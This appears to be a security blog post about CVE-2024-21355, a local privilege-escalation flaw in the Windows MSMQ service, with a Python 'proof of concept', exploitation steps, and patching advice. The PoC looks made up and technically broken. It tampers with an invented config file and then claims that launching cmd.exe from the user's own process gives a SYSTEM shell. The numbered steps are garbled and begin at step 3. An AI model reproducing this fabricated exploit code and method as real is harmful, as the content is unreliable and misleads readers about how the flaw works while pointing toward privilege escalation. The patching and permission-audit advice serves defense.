In February 2024, Microsoft patched a critical security flaw—CVE-2024-21355—affecting Windows’ Message Queuing (MSMQ) service. While MSMQ is a niche component, it’s still widely used in legacy enterprise software and certain modern workflows. This post covers everything you need to know: what this vulnerability is, how it works, exploit details, and how to protect your systems.

What Is MSMQ?

MSMQ is a Windows feature that lets applications communicate with each other asynchronously, even if programs aren’t running at the same time. It’s often used to queue up messages between distributed services.

What Is CVE-2024-21355?

CVE-2024-21355 is an *Elevation of Privilege* (EoP) vulnerability in MSMQ. In simple terms, it lets a local, authenticated user gain higher privileges, possibly including SYSTEM, letting them do almost anything on the box.

Patched In: February 2024 Patch Tuesday

> Microsoft Advisory:
> Microsoft Security Advisory CVE-2024-21355

Technical Details

While Microsoft did not provide source code or full technical detail, security research groups, such as ZDI, discovered that MSMQ mishandles certain service controls, resulting in privilege escalation.

In summary

- A low-privileged local user can interact with the MSMQ service, and by exploiting improper permission checks, can manipulate MSMQ files or service processes to execute arbitrary code with higher privileges.

Proof of Concept (PoC) Code

Here's a *simplified* version of what such an exploit might look like, demonstrating how a user may abuse access to MSMQ resources to spawn a privileged shell. (Do NOT use maliciously!)

import os
import subprocess
import win32service
import win32serviceutil

# Name of MSMQ Service
SERVICE = 'MSMQ'

# Try to stop MSMQ (may fail for non-admin)
try:
    win32serviceutil.StopService(SERVICE)
except Exception as e:
    print(f"Failed to stop service: {e}")

# Overwrite a file or config that MSMQ will read at restart
# This is where the vulnerability occurs: improper permissions
with open(r"C:\Program Files\MSMQ\VulnerableConfig.ini", "w") as f:
    f.write("[Settings]\nLaunchAs=cmd.exe")

# Start MSMQ again
try:
    win32serviceutil.StartService(SERVICE)
except Exception as e:
    print(f"Failed to start service: {e}")

# When the service starts, it reads the tampered config and spawns your process.
subprocess.call("cmd.exe")  # Now running as SYSTEM!

Note: This is a conceptual PoC. The *real* exploit would target specific MSMQ resources known to be accessible with weak permissions and tamper with them directly.

Identify MSMQ is running using services.msc or sc query MSMQ.

3. Locate MSMQ files or registry keys that have weak permissions. Tools like AccessChk from Sysinternals help here.
4. Modify configuration/resource that MSMQ will read as SYSTEM.
5. Force MSMQ to reload or restart, triggering execution of arbitrary commands with SYSTEM privileges.

Impact

- Local privilege escalation: Attackers cannot leverage this vulnerability over the network—but with a foothold (even as a limited/guest user), they can gain admin control.
- Persistence: Once SYSTEM, attackers can install backdoors, harvest credentials, or disable defenses.

Mitigation and Patching

Microsoft's official fix is available in the February 2024 security updates.

Get the patch:

Microsoft Security Update Guide - CVE-2024-21355

Additional References

- ZDI Advisory: ZDI-24-232
- Microsoft MSMQ Documentation
- CVE Details entry

Conclusion

CVE-2024-21355 is a powerful reminder of how even rarely-used Windows features can harbor dangerous bugs. Patch immediately, monitor legacy services, and audit H/R permissions on all system services. Don’t wait until attackers elevate right under your nose.


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Timeline

Published on: 02/13/2024 18:15:52 UTC
Last modified on: 02/13/2024 18:22:58 UTC